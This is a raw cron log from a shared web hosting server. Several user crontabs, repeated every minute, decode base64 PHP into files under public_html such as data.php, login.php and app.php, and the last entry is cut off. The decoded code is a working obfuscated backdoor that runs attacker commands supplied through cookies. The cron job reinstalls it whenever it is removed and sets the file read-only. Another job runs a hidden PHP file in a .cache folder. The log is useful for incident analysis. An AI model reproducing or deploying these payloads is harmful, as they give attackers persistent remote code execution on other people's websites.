Mar  2 11:57:02 medusa CROND[3795]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:57:02 medusa CROND[3796]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 11:57:02 medusa CROND[3797]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:57:02 medusa CROND[3802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:57:02 medusa CROND[3805]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:57:02 medusa CROND[3806]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:57:02 medusa CROND[3807]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:58:01 medusa CROND[21822]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:58:01 medusa CROND[21917]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 11:58:01 medusa CROND[21965]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 11:58:01 medusa CROND[22152]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:58:01 medusa CROND[22153]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:58:01 medusa CROND[22154]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:58:01 medusa CROND[22155]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:58:01 medusa CROND[22156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:58:01 medusa CROND[22160]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:58:01 medusa CROND[22163]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:58:01 medusa CROND[22164]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:58:01 medusa CROND[22166]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:58:01 medusa CROND[22157]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:58:01 medusa CROND[22162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:59:01 medusa CROND[9107]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:59:01 medusa CROND[9109]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:59:01 medusa CROND[9110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:59:01 medusa CROND[9111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:59:01 medusa CROND[9112]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:59:01 medusa CROND[9114]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:59:01 medusa CROND[9115]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:59:01 medusa CROND[9118]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 11:59:01 medusa CROND[9121]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:59:01 medusa CROND[9125]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IY